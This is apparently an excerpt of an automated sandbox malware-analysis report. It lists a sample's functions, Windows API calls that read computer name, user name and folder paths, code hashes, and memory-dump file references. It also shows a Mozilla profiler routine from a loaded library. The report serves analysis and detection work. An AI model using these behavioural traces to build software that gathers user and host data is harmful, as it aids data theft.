Opcode ID: 9b4a93ee507178876dc871c4e55d59631ef5ba158efe9da1b9b34c86c64d603c
Instruction ID: 62f99d418c52cfc48d149682278d7330e55fe503076c5641405d439e4b70244d
Opcode Fuzzy Hash: 9b4a93ee507178876dc871c4e55d59631ef5ba158efe9da1b9b34c86c64d603c
Instruction Fuzzy Hash: D941EE74A00209EFCB48CF59C494BADBBB1FF54394F2486A9E9599B345C731EA81CF84

Function 005F5050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 005F8E0B

lstrcat.KERNEL32(?,00000000), ref: 005F508A
lstrcat.KERNEL32(?,014101B8), ref: 005F50A8

Part of subcall function 005F4910: wsprintfA.USER32 ref: 005F492C
Part of subcall function 005F4910: FindFirstFileA.KERNEL32(?,?), ref: 005F4943

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: bd156ce7a0579d9bf7d97d3c0cd30f24513c2e76f60f3bcf1ee047375b45a497
Instruction ID: f9a5d54ea4b3a778227d12c32a513d385f88556bea896560deda5f5c2c7782be
Opcode Fuzzy Hash: bd156ce7a0579d9bf7d97d3c0cd30f24513c2e76f60f3bcf1ee047375b45a497
Instruction Fuzzy Hash: 31019B7690020C67CB68FB70DC46EFE777CBF94300F004554B79A56191EEB49A898FA2

Function 005E10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 005E10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 005E10F7

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: ee9233c8fc46ccd175b3b3a086024c79a2848dfdcf7311edc4fc21c91aa4ec29
Instruction ID: fadc9ee828cd8eb57cf842239879d97c916076d7c09d0129a95602be8245c7f3
Opcode Fuzzy Hash: ee9233c8fc46ccd175b3b3a086024c79a2848dfdcf7311edc4fc21c91aa4ec29
Instruction Fuzzy Hash: B2F0E271641218BBEB189BA4AC4DFBABBECF705B15F304448F644E3280D5719F00CAA4

Function 005F8D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,005E1B54,?,?,0060564C,?,?,00600E1F), ref: 005F8D9F

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: fdaba8f6fcbcd8a6dca5b23d4ba03953deb8fb6abe91c52c29dfcca04b955c1c
Instruction ID: 2c9e447167489da7d42219c5d75170edabf269a49db903c56007c885aefc5413
Opcode Fuzzy Hash: fdaba8f6fcbcd8a6dca5b23d4ba03953deb8fb6abe91c52c29dfcca04b955c1c
Instruction Fuzzy Hash: 55F0A570C0020CEBCB14EFA4D5496FCBB74FF11310F508599E966A72D0DB785A5ADB82

Function 005F8DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 005F8E0B

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: cb2daf091321745df23fedb1650f3b99cec61f76a4317db001cf1f6c87bd01e4
Instruction ID: 145a595dc912f9aa43925838b45c23f8351599337f33e0c721b112252e287e5a
Opcode Fuzzy Hash: cb2daf091321745df23fedb1650f3b99cec61f76a4317db001cf1f6c87bd01e4
Instruction Fuzzy Hash: B7E0127194034C6BDB51EB50CC96FAD777CEB44B01F004295BA0C5A1C0DE74AB858B91

Function 005E1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 005F78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 005F7910
Part of subcall function 005F78E0: RtlAllocateHeap.NTDLL(00000000), ref: 005F7917
Part of subcall function 005F78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 005F792F

Part of subcall function 005F7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,005E11B7), ref: 005F7880
Part of subcall function 005F7850: RtlAllocateHeap.NTDLL(00000000), ref: 005F7887
Part of subcall function 005F7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 005F789F

ExitProcess.KERNEL32 ref: 005E11C6

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 0fcbe2047f251695f35b284895b8f8942ece71bd74ed49b8121494d4963d9c9d
Instruction ID: f24d556a0ccdcb6618b449364c4f3185d0c7976f6f4f6ef44e64370448654ec9
Opcode Fuzzy Hash: 0fcbe2047f251695f35b284895b8f8942ece71bd74ed49b8121494d4963d9c9d
Instruction Fuzzy Hash: 18E0C2B190030E13CE1C33F1AC0EB3A3A8CBF54385F080424FB44C2202FA29E811C56A

Function 005F8E30 Relevance: 1.3, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 005F8E52

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 6220f2030a8dcec49db76c49b79533de07efadf61621e68db881df91aa02e4ae
Instruction ID: a893263e7e4061e83da25d3fa6901f2dc948fcdfb0958d86dbc079980d8fcc35
Opcode Fuzzy Hash: 6220f2030a8dcec49db76c49b79533de07efadf61621e68db881df91aa02e4ae
Instruction Fuzzy Hash: 4F01E830A0410CEBCB04CF98C5857BD7FB5BF04308F288498DA056B351C7795A88DB85

Non-executed Functions

Function 6C665440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C665492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6654A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6654BE
__Init_thread_footer.LIBCMT ref: 6C6654DB

Part of subcall function 6C68AB3F: EnterCriticalSection.KERNEL32(6C6DE370,?,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284), ref: 6C68AB49
Part of subcall function 6C68AB3F: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68AB7C

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

GetCurrentThreadId.KERNEL32 ref: 6C6654F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C665516
GetCurrentThreadId.KERNEL32 ref: 6C66556A
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C665577
moz_xmalloc.MOZGLUE(00000070), ref: 6C665585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C665590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C6655E6
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C665606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C665616

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

GetCurrentThreadId.KERNEL32 ref: 6C66563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C665646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C66567C
free.MOZGLUE(?), ref: 6C6656AE

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C6656E8
GetCurrentThreadId.KERNEL32 ref: 6C665707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C66570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C665729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C66574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C66576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C665796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C6657B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C6657CA

Strings

[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C66584E
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C665CF9
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C665D24
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C6656E3
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C665BBE
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C6657C5
[I %d/%d] profiler_init, xrefs: 6C66564E
GeckoMain, xrefs: 6C665554, 6C6655D5
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C665791
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C665AC9
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C6657AE
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C66548D
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C665717
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C665749
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C665724
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C665B38
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C6654B9
MOZ_PROFILER_STARTUP, xrefs: 6C6655E1
MOZ_BASE_PROFILER_HELP, xrefs: 6C665511
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C665D1C
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C665D01
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C665766
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C6654A3
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C665D2B
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C665C56

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
